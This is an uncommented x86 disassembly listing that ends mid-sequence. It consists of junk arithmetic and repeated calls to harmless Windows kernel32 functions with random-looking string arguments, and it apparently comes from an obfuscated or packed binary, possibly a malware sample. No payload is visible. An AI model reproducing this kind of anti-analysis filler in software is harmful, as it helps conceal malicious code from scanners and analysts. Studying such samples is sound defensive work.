adc eax, dword [0x40f0f8]
push 9
push 0x40f43b
push str.osNchHgGiDy
call dword [sym.imp.kernel32.dll_GetVolumePathNameW]
xor edx, edx
add edx, edi
mov dword [0x40f1f8], 0xe0
xor dword [0x40f16d], edx
adc edx, dword [0x40f0e9]
xor ecx, ecx
add ecx, 0xffffffcb
add esi, edx
jmp 0x40a28c
add esi, edi
sub byte [0x40f04a], 0x74
or eax, 0xffffff93
adc eax, dword [0x40f028]
push 0x40f40b
call dword [sym.imp.kernel32.dll_GetSystemInfo]
and dword [0x40f08f], ebx
or dword [0x40f155], ebx
adc dword [0x40f1bf], eax
adc ah, al
sub ecx, ecx
adc ecx, dword [0x40f0b0]
push 9
push str.syAyHZwmr
push str.YDtUMcdISqcps
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x407235
xor edx, edx
add edx, 0xfffffff9
xor ecx, ecx
add ecx, eax
sub al, byte [0x40f10a]
sbb edi, ebx
adc dword [0x40f170], 0x4c
jmp 0x4059f9
xor eax, 0x61
sbb edi, 0x13
sub ecx, ecx
adc ecx, dword [0x40f192]
adc dword [0x40f0f2], edi
push 9
push 0x40f43b
push str.osNchHgGiDy
call dword [sym.imp.kernel32.dll_GetVolumePathNameW]
sbb ebx, ebx
sub ecx, ecx
adc ecx, dword [0x40f1b6]
sub ebx, edi
sub eax, esi
sub edx, edx
adc edx, dword [0x40f126]
sbb eax, 0xffffffe6
jmp 0x405609
and dword [0x40f1e4], 0x99
xor edx, edx
adc edx, dword [0x40f16b]
or al, byte [0x40f0e2]
adc dword [0x40f008], 0x7f
xor ecx, ecx
add ecx, ebx
add byte [0x40f18a], dh
push 0x40f2f7
call dword [sym.imp.kernel32.dll_GetVersionExA]
and dword [0x40f0ba], ebx
or ebx, dword [0x40f195]
adc eax, 0xffffff93
adc dword [0x40f053], ebx
lea ecx, [0x40f492]
push dword [ecx]
push str.SjRqCZzvq
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
cmp eax, 0
jne 0x407235
sbb dword [0x40f14d], 0x72
xor eax, eax
xor edx, edx
add edx, 0xffffffad
and byte [0x40f016], bh
jmp 0x407235
xor dword [0x40f06b], 0xb3
sub edx, edx
add edx, ebx
adc edi, 0xffffffe0
adc esi, dword [0x40f019]
add eax, 0x17
push 0xc
push 0x40f452
push str.CpwLdAnFqxvVl
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
sbb dword [0x40f1ad], 0xd1
or al, byte [0x40f186]
sub ecx, ecx
add ecx, ebx
sbb bh, bh
adc cl, 0xe7
sbb dword [0x40f01d], eax
push 0x40f49e
push 0x40f496
call dword [sym.imp.kernel32.dll_FileTimeToLocalFileTime]
add byte [0x40f1ed], bh
xor ebx, edi
adc dword [0x40f0d5], 0x4f
sub byte [0x40f00b], 0x76
jmp 0x40a526
sub edx, edx
add edx, 0x3a
xor ecx, ecx
adc ecx, dword [0x40f140]
adc edx, 0x3f
adc eax, 0xffffffb1
and dword [0x40f1c6], eax
lea eax, [0x40f46c]
push dword [eax]
call dword [sym.imp.kernel32.dll_TlsGetValue]
sbb dword [0x40f1f6], edi
add edi, 0x42
add dword [0x40f128], edi
xor eax, edi
jmp 0x40c9ef
sbb ebx, 0xffffffe3
sub dh, dh
add dh, 0xd5
or dword [0x40f015], edi
adc edx, dword [0x40f127]
push str.nXFZAROrylHYn
push 0x40f4be
call dword [sym.imp.kernel32.dll_lstrcmpA]
test eax, eax
jne 0x407235
and dword [0x40f043], edi
xor dword [0x40f1dd], 0xf1
sbb eax, 0xffffffc6
xor ecx, ecx
adc ecx, dword [0x40f0ac]
and dword [0x40f071], esi
push 9
push 0x40f43b
push str.osNchHgGiDy
call dword [sym.imp.kernel32.dll_GetVolumePathNameW]
adc dword [0x40f134], 0x98
sub ecx, ecx
add ecx, esi
sub ebx, edi
add bh, al
adc eax, dword [0x40f1eb]
jmp 0x408410
sub esi, dword [0x40f10d]
sub ebx, 0xffffffc8
adc dword [0x40f1ad], 0xad
adc al, byte [0x40f1fa]
and byte [0x40f082], ah
xor eax, eax
push 9
push str.syAyHZwmr
push str.YDtUMcdISqcps
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x407235
adc eax, dword [0x40f0b7]
sub byte [0x40f16e], 0x8b
or edi, dword [0x40f162]
xor edx, edx
adc edx, dword [0x40f132]
jmp 0x40d630
adc esi, dword [0x40f177]
and dword [0x40f0fd], edi
sbb dword [0x40f17c], eax
adc dword [0x40f05b], 0x6a
sub ecx, ecx
adc ecx, dword [0x40f031]
adc cl, 0x18
push 0xc
push 0x40f452
push str.CpwLdAnFqxvVl
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
or dword [0x40f03b], edi
sbb dword [0x40f1b5], 0xdf
add edi, edi
or edi, dword [0x40f192]
add ebx, eax
push 0xf
push 0x40f479
push str.tCjrOjCn
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
cmp eax, 0
jne 0x407235
and dword [0x40f095], eax
or dword [0x40f094], 0xff
xor edx, edx
add edx, 0xffffffd8
mov dword [0x40f062], 0xa4
jmp 0x40bd27
adc eax, dword [0x40f121]
xor dh, dh
add dh, 0x45
add dword [0x40f103], eax
xor dl, bh
xor ecx, ecx
add ecx, edx
xor ebx, edx
push 0x40f40b
call dword [sym.imp.kernel32.dll_GetSystemInfo]
adc edi, dword [0x40f12e]
add esi, eax
adc dword [0x40f1e4], 0xe1
xor edx, edx
adc edx, dword [0x40f14e]
push 0x1c
push 0x40f4de
lea eax, [0x40f4da]
push dword [eax]
call dword [sym.imp.kernel32.dll_VirtualQuery]
sbb dword [0x40f191], eax
xor ebx, 0xffffffdc
xor ecx, ecx
add ecx, 8
sub dword [0x40f0d7], edi
sbb ecx, edi
sub edi, ebx
jmp 0x40ce10
add dword [0x40f1b1], ebx
or al, byte [0x40f1e2]
sbb ebx, 0x49
adc ebx, dword [0x40f075]
or edi, 0x5d
push 0xc
push 0x40f452
push str.CpwLdAnFqxvVl
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
adc ebx, dword [0x40f084]
sbb esi, 0xffffffb8
sbb dword [0x40f029], esi
sbb dword [0x40f165], esi
sub edi, edi
and eax, 0x48
lea ebx, [0x40f46c]
push dword [ebx]
call dword [sym.imp.kernel32.dll_TlsGetValue]
or ebx, 0x12
add dword [0x40f117], esi
adc bl, byte [0x40f10f]
add dword [0x40f1e8], ebx
jmp 0x40c4ec
sub edx, edx
add edx, ebx
xor esi, ebx
adc esi, 0xffffffec
add eax, edx
push 0xc
push 0x40f452
push str.CpwLdAnFqxvVl
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
add edi, edi
xor edx, edx
add edx, 0x60
sbb dword [0x40f124], edi
xor ebx, esi
sub edx, edi
lea eax, [0x40f492]
push dword [eax]
push str.SjRqCZzvq
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
cmp eax, 0
jne 0x407235
adc dword [0x40f06a], 0x48
sub dword [0x40f04a], ebx
add dword [0x40f0f4], ebx
sbb byte [0x40f014], bl
sub edx, edx
adc edx, dword [0x40f125]
jmp 0x406cde
xor ebx, 0xfffffffb
adc eax, 0x54
add dword [0x40f09f], edi
add dword [0x40f095], ebx
sub dh, dh
add dh, ah
xor dword [0x40f1fe], eax
push 0x1c
push 0x40f4de
lea edx, [0x40f4da]
push dword [edx]
call dword [sym.imp.kernel32.dll_VirtualQuery]
xor ecx, ecx
add ecx, 0xffffffbb
or eax, 0x46
sub byte [0x40f130], bl
and dword [0x40f179], eax
push 9
push str.syAyHZwmr
push str.YDtUMcdISqcps
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x407235
adc edi, dword [0x40f161]
sub ecx, ecx
add ecx, 0xffffffd4
adc edi, dword [0x40f149]
adc edi, dword [0x40f04e]
sbb byte [0x40f1e5], bh
xor dl, dl
add dl, 0xb3
jmp 0x406ac9
or dword [0x40f09b], edi
xor edx, edx
add edx, 0x30
adc esi, ebx
or dh, byte [0x40f0aa]
push 0x40f49e
push 0x40f496
call dword [sym.imp.kernel32.dll_FileTimeToLocalFileTime]
adc edi, dword [0x40f043]
add esi, 0x55
or dword [0x40f08c], ebx
sub byte [0x40f089], 0x1e
sub edx, edx
add edx, ebx
adc esi, esi
jmp 0x40d2d8
xor dword [0x40f171], 0xd3
add ebx, 0xffffff8e
adc edi, dword [0x40f118]
mov dword [0x40f158], 0x5f
sbb dword [0x40f0a8], ebx
push 9
push str.syAyHZwmr
push str.YDtUMcdISqcps
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x407235
adc eax, dword [0x40f14d]
sub ecx, ecx
adc ecx, dword [0x40f018]
xor esi, 0xffffffcb
mov dword [0x40f186], 0x2d
sbb dword [0x40f00d], 0x82
push str.JwtUuttr
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
cmp eax, 0
jne 0x407235
mov dword [0x40f18b], 0xf3
xor ebx, edi
or dword [0x40f1b0], edi
add ebx, 0xffffffe4
jmp 0x407188
adc esi, esi
or dword [0x40f0ec], esi
adc ebx, dword [0x40f0a4]
sub ecx, ecx
adc ecx, dword [0x40f10f]
sbb dword [0x40f070], ecx
and dword [0x40f07f], 0xf0
push str.JwtUuttr
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
cmp eax, 0
jne 0x407235
mov dword [0x40f02d], 0x31
adc dword [0x40f0c1], ebx
adc eax, dword [0x40f0af]
xor cl, cl
add cl, 0x18
sub ah, cl
add eax, 0x1d
push str.JwtUuttr
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
test eax, eax
jne 0x407235
or eax, 0x5e
sub ecx, ecx
add ecx, 0xffffffc4
adc bl, byte [0x40f1f9]
adc esi, dword [0x40f084]
sub byte [0x40f13f], bl
jmp 0x40aed4
add dword [0x40f143], edi
add edi, 0xffffffc8
add ebx, esi
sub byte [0x40f0eb], 0x34
adc dword [0x40f1c4], 0x30
sbb esi, edi
push 0xc
push 0x40f452
push str.CpwLdAnFqxvVl
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
adc dword [0x40f034], edi
adc esi, dword [0x40f01a]
sub dh, dh
add dh, 0x2f
xor esi, esi
add byte [0x40f070], dl
adc edi, dword [0x40f18b]
push 0x40f2f7
call dword [sym.imp.kernel32.dll_GetVersionExA]
adc dword [0x40f1a4], 0x1d
add dword [0x40f031], esi
adc esi, dword [0x40f19a]
xor edi, ebx
xor edx, edx
add edx, 0xffffffa2
sub edx, edx
jmp 0x40d11a
add byte [0x40f172], al
xor edx, edx
adc edx, dword [0x40f05a]
sub cl, cl
add cl, 0xff
or dh, byte [0x40f15b]
or dword [0x40f06a], 0x81
or eax, dword [0x40f111]
push 9
push str.syAyHZwmr
push str.YDtUMcdISqcps
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x407235
sub dword [0x40f0ee], esi
sub eax, 0xfffffff9
sub edx, edx
add edx, 0x13
sub edx, dword [0x40f045]
and dword [0x40f0fa], edx
jmp 0x409c2d
or dword [0x40f1eb], 0x97
sub edx, edx
add edx, 0x1b
sub esi, dword [0x40f09a]
adc esi, edx
sub bh, byte [0x40f00c]
push 0x40f40b
call dword [sym.imp.kernel32.dll_GetSystemInfo]
adc esi, dword [0x40f1ea]
sbb ebx, 0x6a
xor esi, 0xffffffe2
sub ch, ch
add ch, 0x92
push 0xf
push 0x40f479
push str.tCjrOjCn
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
test eax, eax
jne 0x407235
or dword [0x40f132], ebx
adc ebx, dword [0x40f167]
and dword [0x40f0b5], 0x25
xor dword [0x40f1f3], eax
jmp 0x40b7ed
mov dword [0x40f1f7], 0xbc
sbb eax, edi
xor dword [0x40f03d], eax
and dword [0x40f068], 0xb4
push 0x1c
push 0x40f4de
lea edi, [0x40f4da]
push dword [edi]
call dword [sym.imp.kernel32.dll_VirtualQuery]
adc dword [0x40f086], ebx
and dword [0x40f00e], eax
and dword [0x40f19e], 0xc1
sub edx, edx
add edx, 4
push 0xc
push 0x40f452
push str.CpwLdAnFqxvVl
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
xor edx, edx
add edx, 0xffffff8d
adc edi, dword [0x40f171]
sbb dword [0x40f07c], 0x7b
adc dword [0x40f193], 0x68
add esi, edx
jmp 0x40d53b
adc dword [0x40f195], 0x4c
or dword [0x40f00a], edi
and dword [0x40f098], 0x4b
adc eax, ebx
xor edx, edx
add edx, esi
and ebx, 0x20
push str.nXFZAROrylHYn
push 0x40f4be
call dword [sym.imp.kernel32.dll_lstrcmpA]
cmp eax, 0
jne 0x407235
or eax, dword [0x40f1f2]
sub edx, edx
adc edx, dword [0x40f1d2]
sbb dword [0x40f0f2], edi
sub byte [0x40f05f], 0x77
and byte [0x40f138], bl
push 0x40f49e
push 0x40f496
call dword [sym.imp.kernel32.dll_FileTimeToLocalFileTime]
sbb ebx, esi
sbb dword [0x40f04a], 0x26
adc ebx, dword [0x40f167]
sub ecx, ecx
add ecx, 0xffffffee
and dword [0x40f07d], 0x1f
adc ecx, dword [0x40f095]
jmp 0x40c168
sub byte [0x40f1d1], bh
sub esi, esi
xor ecx, ecx
add ecx, edi
xor edx, edx
add edx, eax
adc ebx, dword [0x40f11f]
sub edx, dword [0x40f087]
push str.JwtUuttr
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
cmp eax, 0
jne 0x407235
sub edx, edx
add edx, 0xffffffde
add edx, edi
xor ch, ch
add ch, bh
sbb dword [0x40f005], ebx
adc dword [0x40f142], 0xab
adc ah, byte [0x40f172]
push 0xc
push 0x40f452
push str.CpwLdAnFqxvVl
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
adc dword [0x40f09e], 6
adc bh, byte [0x40f196]
adc dword [0x40f1e1], 0xf3
xor byte [0x40f00b], bl
adc bh, byte [0x40f0bc]
jmp 0x406161
sbb esi, ebx
adc eax, esi
adc edi, dword [0x40f176]
add dword [0x40f0e1], esi
or byte [0x40f0bb], ah
push 0xf
push 0x40f479
push str.tCjrOjCn
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
test eax, eax
jne 0x407235
or eax, dword [0x40f1e3]
sub edx, edx
adc edx, dword [0x40f048]
or dword [0x40f113], 0xa5
adc dword [0x40f04f], 0xbd
lea eax, [0x40f492]
push dword [eax]
push str.SjRqCZzvq
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
cmp eax, 0
jne 0x407235
xor dword [0x40f12b], 0xc4
sbb dword [0x40f169], 0xb4
xor ecx, ecx
add ecx, ebx
add ecx, ecx
adc dword [0x40f013], ecx
jmp 0x4095fd
adc dword [0x40f0f7], 0xf8
add ebx, 0xffffffda
xor esi, 0xffffffd9
sbb eax, ebx
lea ecx, [0x40f492]
push dword [ecx]
push str.SjRqCZzvq
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
test eax, eax
jne 0x407235
or edi, 0xffffffc6
sub edx, edx
adc edx, dword [0x40f13d]
adc esi, dword [0x40f146]
add dword [0x40f155], esi
or ebx, dword [0x40f0b3]
sbb dword [0x40f075], 0xe2
jmp 0x40c004
add dword [0x40f0f2], edi
sub esi, dword [0x40f01e]
or bl, byte [0x40f081]
xor cl, cl
add cl, bh
mov dword [0x40f1b4], 0x35
push str.nXFZAROrylHYn
push 0x40f4be
call dword [sym.imp.kernel32.dll_lstrcmpA]
test eax, eax
jne 0x407235
sub ebx, 0xffffffee
adc esi, eax
adc edi, dword [0x40f02e]
sub byte [0x40f183], 0xa6
jmp 0x40e0d3
adc eax, dword [0x40f118]
add dword [0x40f19a], ebx
or edi, dword [0x40f050]
sub edx, edx
add edx, 0x60
add dword [0x40f1ce], esi
push 0x40f2f7
call dword [sym.imp.kernel32.dll_GetVersionExA]
xor bh, ah
sbb dword [0x40f1ad], 0xb9
xor ecx, ecx
add ecx, edi
adc dword [0x40f108], 0x37
adc dword [0x40f14d], 4
jmp 0x408c13
sub ecx, ecx
adc ecx, dword [0x40f184]
xor dword [0x40f0e4], eax
xor edx, edx
add edx, 0x54
xor edx, 0x1f
adc esi, esi
push 0x40f2f7
call dword [sym.imp.kernel32.dll_GetVersionExA]
xor ecx, ecx
adc ecx, dword [0x40f05f]
xor al, al
or edi, 0x51
or dword [0x40f090], 0x4b
sbb dword [0x40f178], eax
add dword [0x40f147], esi
push str.qQpZahIMeSlnF
call dword [sym.imp.kernel32.dll_RemoveDirectoryA]
test eax, eax
jne 0x407235
sub byte [0x40f1b1], 0xbd
adc byte [0x40f171], al
and dword [0x40f0a6], eax
sub ecx, ecx
add ecx, eax
jmp 0x408a5a
or ah, byte [0x40f0d7]
sub ecx, ecx
add ecx, 0x59
and ebx, 0x4a
xor dword [0x40f070], 0x46
sub eax, dword [0x40f1ab]
push 0xc
push 0x40f452
push str.CpwLdAnFqxvVl
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
sbb bl, 0x64
sbb dword [0x40f0ca], 0xfe
add dword [0x40f0a5], esi
sbb edi, esi
sbb dword [0x40f1a7], eax
jmp 0x408b7c
add eax, eax
xor eax, ebx
and dword [0x40f18d], esi
or dword [0x40f097], 0
adc dword [0x40f187], 0x5c
push 0x1c
push 0x40f4de
lea edi, [0x40f4da]
push dword [edi]
call dword [sym.imp.kernel32.dll_VirtualQuery]
adc esi, dword [0x40f174]
sub ecx, ecx
add ecx, 0xffffffea
xor esi, edi
adc dword [0x40f027], 0xda
adc eax, dword [0x40f0b1]
jmp 0x40b794
sub ecx, ecx
adc ecx, dword [0x40f15c]
or byte [0x40f1ed], ch
adc ecx, dword [0x40f0c8]
add ebx, esi
sbb dword [0x40f0bd], esi
push 0x40f49e
push 0x40f496
call dword [sym.imp.kernel32.dll_FileTimeToLocalFileTime]
and ebx, 0xc
sub edi, dword [0x40f1eb]
mov dword [0x40f168], 0x66
xor ecx, ecx
add ecx, 0xfffffff1
adc eax, dword [0x40f1b8]
adc edi, dword [0x40f073]
jmp 0x407bf6
sub dword [0x40f0ae], esi
adc eax, dword [0x40f03b]
sbb dword [0x40f044], esi
or ah, byte [0x40f19f]
sub dword [0x40f1e1], ebx
sub edx, edx
adc edx, dword [0x40f035]
push 0x40f40b
call dword [sym.imp.kernel32.dll_GetSystemInfo]
or dword [0x40f1db], esi
and dword [0x40f1aa], ebx
sbb eax, 0xffffffc6
sub esi, dword [0x40f092]
xor dword [0x40f059], esi
lea edi, [0x40f492]
push dword [edi]
push str.SjRqCZzvq
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
test eax, eax
jne 0x407235
xor dword [0x40f03a], 0x53
xor edx, edx
adc edx, dword [0x40f1db]
or dword [0x40f1fd], eax
adc edi, dword [0x40f0ab]
add esi, eax
jmp 0x40c6fb
sbb byte [0x40f15a], ah
xor edx, edx
add edx, 0xffffffa1
add dword [0x40f09f], edi
add esi, ebx
push 0x1c
push 0x40f4de
lea eax, [0x40f4da]
push dword [eax]
call dword [sym.imp.kernel32.dll_VirtualQuery]
sub dword [0x40f1d6], edi
sub ecx, ecx
add ecx, 0xffffffea
xor ebx, 0xffffffac
sub edi, esi
jmp 0x40c425
xor eax, 0x22
adc dword [0x40f0ec], 0x7a
xor dword [0x40f18b], esi
sbb dword [0x40f0d9], ebx
adc bh, byte [0x40f088]
add dword [0x40f0af], edi
push str.nXFZAROrylHYn
push 0x40f4be
call dword [sym.imp.kernel32.dll_lstrcmpA]
cmp eax, 0
jne 0x407235
adc dword [0x40f111], 0xe
or dword [0x40f198], edi
adc dword [0x40f0aa], 5
adc edi, 0x21
add edi, 0x3e
push 0x40f40b
call dword [sym.imp.kernel32.dll_GetSystemInfo]
add edi, 0xffffff82
add dword [0x40f163], eax
sbb dword [0x40f015], eax
add esi, edi
xor dword [0x40f18b], 0x3c
sub eax, 0x1e
jmp 0x408091
and dword [0x40f0e0], edi
sub byte [0x40f0ce], 0x41
or esi, dword [0x40f089]
xor dword [0x40f145], esi
sbb esi, esi
xor dword [0x40f11d], 0x92
push str.JwtUuttr
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
test eax, eax
jne 0x407235
sbb esi, esi
sbb dword [0x40f06f], 0x52
or ebx, dword [0x40f047]
or dword [0x40f041], eax
jmp 0x40dfd5
add dword [0x40f123], esi
xor ecx, ecx
add ecx, esi
xor edx, edx
add edx, 0x1a
sub edi, dword [0x40f17e]
adc eax, dword [0x40f1da]
add edx, 0xf
push 0xf
push 0x40f479
push str.tCjrOjCn
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
test eax, eax
jne 0x405596
or dword [0x40f111], 0xb
sub ebx, 0x79
sbb dword [0x40f0cc], esi
add edi, edi
xor dword [0x40f190], 0xf0
or dword [0x40f1cb], ebx
jmp 0x407cb0
adc ebx, 0xffffffbc
xor ecx, ecx
add ecx, edi
or dword [0x40f130], 0xc9
sub dword [0x40f070], esi
push 0x1c
push 0x40f4de
lea ebx, [0x40f4da]
push dword [ebx]
call dword [sym.imp.kernel32.dll_VirtualQuery]
adc edi, edi
adc dword [0x40f150], 0x2d
xor ecx, ecx
add ecx, 0xffffffd7
adc ebx, dword [0x40f0a3]
jmp 0x40778a
add esi, eax
sub ebx, 0xffffff9b
or dword [0x40f1bd], 0x60
sbb eax, ebx
push 0x40f49e
push 0x40f496
call dword [sym.imp.kernel32.dll_FileTimeToLocalFileTime]
xor ch, ch
add ch, 0x14
xor eax, 0xffffffd9
adc dword [0x40f0be], edi
sbb ebx, 0x48
or edi, 0x26
jmp 0x40df46
adc esi, dword [0x40f12c]
add ah, 0x43
or dword [0x40f060], esi
sub byte [0x40f0de], 0xae
xor ebx, eax
push str.JwtUuttr
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
test eax, eax
jne 0x40d358
sbb dword [0x40f070], 0xbd
sub edi, ebx
sub byte [0x40f161], 0xf5
sub byte [0x40f013], ah
xor ebx, ebx
or dword [0x40f048], edi
jmp 0x40760f
sbb dword [0x40f1e2], 0xac
sub dword [0x40f00d], ebx
and dword [0x40f0c3], 0x3c
adc edi, edi
sbb dword [0x40f151], 0xe0
push str.nXFZAROrylHYn
push 0x40f4be
call dword [sym.imp.kernel32.dll_lstrcmpA]
cmp eax, 0
jne 0x407235
adc eax, dword [0x40f012]
xor dword [0x40f083], ebx
sub ecx, ecx
add ecx, 2
sbb dword [0x40f03b], 0x11
or dword [0x40f1ec], ecx
jmp 0x4076c0
xor dword [0x40f111], 0x68
adc dword [0x40f05d], 0x50
xor dword [0x40f054], eax
sub cl, cl
add cl, bh
adc dword [0x40f1db], ebx
sbb dword [0x40f1c8], esi
push 9
push 0x40f43b
push str.osNchHgGiDy
call dword [sym.imp.kernel32.dll_GetVolumePathNameW]
sub dword [0x40f01c], ebx
adc esi, dword [0x40f15b]
add ebx, 0xffffffaa
xor esi, 0xffffffea
lea esi, [0x40f492]
push dword [esi]
push str.SjRqCZzvq
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
test eax, eax
jne 0x407235
xor edi, esi
sbb eax, ebx
sub dword [0x40f1c3], esi
sub eax, dword [0x40f007]
jmp 0x407235
sub bl, byte [0x40f1cb]
or ah, byte [0x40f005]
sub dh, dh
add dh, al
adc edi, dword [0x40f119]
sub esi, dword [0x40f035]
sbb dword [0x40f161], edx
lea eax, [0x40f492]
push dword [eax]
push str.SjRqCZzvq
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
test eax, eax
jne 0x407235
add bl, 0x1b
sub ecx, ecx
adc ecx, dword [0x40f123]
xor esi, ebx
and dword [0x40f123], 8
sub ecx, dword [0x40f104]
push str.JwtUuttr
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
cmp eax, 0
jne 0x407235
xor ebx, 2
sub edi, 0x1a
sub dword [0x40f08c], edi
adc eax, dword [0x40f11b]
or eax, 0xffffffd0
jmp 0x405d3e
and dword [0x40f1f5], ebx
xor eax, 0xffffffda
xor dword [0x40f01b], esi
adc dword [0x40f1f8], eax
add eax, ebx
push 9
push str.syAyHZwmr
push str.YDtUMcdISqcps
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x407235
adc dword [0x40f00e], 0xbc
xor dword [0x40f10a], 0xd3
adc dword [0x40f012], eax
mov dword [0x40f170], 0x34
xor ecx, ecx
add ecx, 0x7e
push str.qQpZahIMeSlnF
call dword [sym.imp.kernel32.dll_RemoveDirectoryA]
test eax, eax
jne 0x407235
and dword [0x40f101], esi
add dword [0x40f130], eax
or dword [0x40f174], 0xdb
xor dword [0x40f175], ebx
jmp 0x406393
xor ebx, edi
mov dword [0x40f12f], 0x6b
sub esi, ebx
add esi, 0xffffffe7
push str.qQpZahIMeSlnF
call dword [sym.imp.kernel32.dll_RemoveDirectoryA]
cmp eax, 0
jne 0x40e175
sub edx, edx
add edx, 0x25
sub ch, ch
add ch, 0x4e
and edx, 0x35
add esi, 0xffffffb3
push str.nXFZAROrylHYn
push 0x40f4be
call dword [sym.imp.kernel32.dll_lstrcmpA]
cmp eax, 0
jne 0x40e175
sbb eax, 0xffffffe7
or dword [0x40f17e], 0xad
and dword [0x40f065], 0x58
sub bl, bl
or eax, 0xfffffffb
sbb ebx, edi
jmp 0x40dc21
xor edx, edx
add edx, esi
adc edi, eax
sbb edi, eax
add edx, 0x42
sub ecx, ecx
add ecx, 0xc
push str.nXFZAROrylHYn
push 0x40f4be
call dword [sym.imp.kernel32.dll_lstrcmpA]
cmp eax, 0
jne 0x407235
add eax, 0x6f
adc esi, dword [0x40f087]
or dword [0x40f08a], 0xde
sub edx, edx
adc edx, dword [0x40f0e5]
jmp 0x40cff3
sub edx, edx
add edx, 9
adc byte [0x40f0db], bh
sub esi, 0x5b
xor dword [0x40f09f], esi
push 9
push str.syAyHZwmr
push str.YDtUMcdISqcps
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x407235
adc dword [0x40f1da], esi
mov dword [0x40f1c7], 0x66
sub bh, 0x7e
add esi, ebx
and dword [0x40f145], 0x7f
lea edx, [0x40f46c]
push dword [edx]
call dword [sym.imp.kernel32.dll_TlsGetValue]
adc dword [0x40f037], eax
xor dword [0x40f050], 4
xor cl, cl
add cl, ah
xor dword [0x40f00a], ebx
sub dword [0x40f0c7], edi
jmp 0x40a5d2
or dword [0x40f18b], 0x53
adc eax, dword [0x40f05b]
sbb dword [0x40f0a5], 0xa5
adc dword [0x40f18e], 0x86
sbb dword [0x40f025], 0xd9
push 0x40f2f7
call dword [sym.imp.kernel32.dll_GetVersionExA]
add ebx, 0xfffffff5
or dword [0x40f069], edi
sub dh, dh
add dh, al
add esi, edi
lea ecx, [0x40f46c]
push dword [ecx]
call dword [sym.imp.kernel32.dll_TlsGetValue]
and edi, 0xffffffa4
xor edx, edx
add edx, 0x74
sbb eax, 0xffffff91
xor dword [0x40f080], 0x4f
jmp 0x407d46
add dword [0x40f1d6], esi
add dword [0x40f19b], esi
xor dword [0x40f100], eax
adc esi, dword [0x40f071]
push 0xc
push 0x40f452
push str.CpwLdAnFqxvVl
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
add esi, eax
add dword [0x40f0c3], ebx
sub edx, edx
adc edx, dword [0x40f1d9]
adc dword [0x40f0cd], 0x1a
add esi, eax
jmp 0x40b5b3
add dword [0x40f0df], ebx
xor ecx, ecx
adc ecx, dword [0x40f1c4]
sbb edi, 0xffffff8e
and dword [0x40f1aa], 0x46
or dword [0x40f01a], 0x87
adc eax, dword [0x40f1e9]
push 0x40f49e
push 0x40f496
call dword [sym.imp.kernel32.dll_FileTimeToLocalFileTime]
sbb ebx, 0xffffffb4
and dword [0x40f02c], 0x7d
sub ecx, ecx
adc ecx, dword [0x40f111]
adc eax, dword [0x40f01b]
jmp 0x4073e9
xor ecx, ecx
adc ecx, dword [0x40f1ad]
add eax, edi
xor edx, edx
adc edx, dword [0x40f13a]
sub dh, byte [0x40f1a2]
push 0x1c
push 0x40f4de
lea eax, [0x40f4da]
push dword [eax]
call dword [sym.imp.kernel32.dll_VirtualQuery]
sbb dword [0x40f06f], edi
adc esi, dword [0x40f1c6]
sub edx, edx
adc edx, dword [0x40f061]
or dword [0x40f126], 0xe3
and dword [0x40f16a], eax
jmp 0x406989
add edi, 0xffffffec
sub esi, 0x63
xor eax, esi
sbb dword [0x40f080], eax
sub esi, esi
sub edi, esi
push 0x1c
push 0x40f4de
lea eax, [0x40f4da]
push dword [eax]
call dword [sym.imp.kernel32.dll_VirtualQuery]
add dword [0x40f0f4], eax
or dword [0x40f1f0], 0xde
adc dword [0x40f1d3], 0xe1
and dword [0x40f1df], edi
add byte [0x40f13e], bh
or eax, dword [0x40f0dc]
jmp 0x4088cb
add dword [0x40f0e1], ebx
xor edx, edx
adc edx, dword [0x40f121]
mov dword [0x40f007], 0x6d
add bh, dl
adc edx, dword [0x40f1e8]
adc eax, dword [0x40f10f]
push 0x1c
push 0x40f4de
lea edx, [0x40f4da]
push dword [edx]
call dword [sym.imp.kernel32.dll_VirtualQuery]
sub ecx, ecx
adc ecx, dword [0x40f153]
add cl, bl
and dword [0x40f1f9], ebx
mov dword [0x40f0c2], 0xea
or dword [0x40f1af], 0x84
jmp 0x4061fe
sub esi, dword [0x40f043]
xor dword [0x40f1fd], eax
or edi, 0x53
xor ecx, ecx
add ecx, esi
xor edx, edx
add edx, 0x3b
push 0xf
push 0x40f479
push str.tCjrOjCn
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
test eax, eax
jne 0x407235
sub bh, byte [0x40f0d4]
and dword [0x40f179], 0xfe
or dword [0x40f066], edi
sbb dword [0x40f17a], esi
xor ecx, ecx
adc ecx, dword [0x40f1e9]
push 0x40f2f7
